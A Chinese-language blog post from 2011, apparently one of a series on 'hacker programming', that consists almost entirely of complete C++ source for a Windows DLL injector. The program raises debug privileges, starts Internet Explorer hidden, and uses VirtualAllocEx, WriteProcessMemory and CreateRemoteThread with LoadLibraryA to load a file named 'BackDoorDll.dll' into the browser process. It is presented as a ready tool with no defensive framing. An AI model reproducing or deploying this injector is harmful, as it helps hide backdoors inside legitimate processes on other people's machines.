注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

熊猫正正的博客

熊猫正正的天空

 
 
 

日志

 
 

黑客编程(二十二)远程线程注入技术  

2011-07-07 22:49:58|  分类: C/C++ |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
#include "stdafx.h"
#include <tlhelp32.h>
#include <stdio.h>

int EnableDebugPriv(const char *name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;

//打开进程令牌环
if(!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken))
{
printf("OpenProcessToken error \n");
return 1;
}

//获得进程本地唯一ID
if(!LookupPrivilegeValue(NULL,name,&luid))
{
printf("LookupPrivilege error !\n");
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;

//调整进程权限
if(!AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
{
printf("AdjustTokenPrivileges error !\n");
return 1;
}

return 0;
}

BOOL InjectDll(const char *DllFullPath,const DWORD dwRemoteProcessId)
{
HANDLE hRemoteProcess;
//获得调试权限
if(EnableDebugPriv(SE_DEBUG_NAME))
{
printf("add privilege error");
return FALSE;
}

//打开目标进程
if((hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId)) == NULL)
{
printf("OpenProcess error\n");
return FALSE;
}

char *pszLibFileRemote;
//申请存放Dll文件名的路径
pszLibFileRemote = (char*)VirtualAllocEx(hRemoteProcess,
NULL,lstrlen(DllFullPath)+1,
MEM_COMMIT,PAGE_READWRITE);
if(pszLibFileRemote == NULL)
{
printf("VirtualAllocEx error\n");
return FALSE;
}

//把Dll的完整路径写入到内存
if(WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(void*)DllFullPath,
lstrlen(DllFullPath)+1,NULL) == 0)
{
printf("WriteProcessMemory error \n");
return FALSE;
}

//得到LoadLibraryA函数地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryA");
if(pfnStartAddr == NULL)
{
printf("GetProcAddress error\n");
return FALSE;
}

HANDLE hRemoteThread;
//启动远程线程
if((hRemoteThread = CreateRemoteThread(hRemoteProcess,NULL,0,
pfnStartAddr,pszLibFileRemote,0,NULL)) == NULL)
{
printf("CreateRemoteThread error\n");
return FALSE;
}

return TRUE;
}

DWORD GetProcessID(char *ProcessName)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
//获得系统内所有进程快照
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot error");
return 0;
}

//枚举列表中第一个进程
BOOL bProcess = Process32First(hProcessSnap,&pe32);
while(bProcess)
{
//比较找到的进程名和我们要查找的进程名,一样则返回进程id
if(strcmp(strupr(pe32.szExeFile),strupr(ProcessName)) == 0)
return pe32.th32ProcessID;
//继续查找
bProcess = Process32Next(hProcessSnap,&pe32);
}
CloseHandle(hProcessSnap);
return 0;
}


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
char Path[255];
char DllPath[255];
//得到Windows系统路径
GetSystemDirectory(Path,sizeof(Path));
//0x00截断字符,得到盘符
Path[3] = 0x00;
//得到IE带路径文件名
strcat(Path,"\\Program Files\\Internet Explorer\\iexplore.exe");
//启动IE,为了防止系统中没有IE进程
WinExec(Path,SW_HIDE);
//暂停两秒,等待IE启动
Sleep(2000);

//得到IE进程
DWORD Pid = GetProcessID("iexplore.exe");
//得到程序自身路径
GetCurrentDirectory(sizeof(DllPath),DllPath);
//得到DLL带路径文件名
strcat(DllPath,"\\BackDoorDll.dll");
//注入IE进程
InjectDll(DllPath,Pid);

return 0;
}
  评论这张
 
阅读(72)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017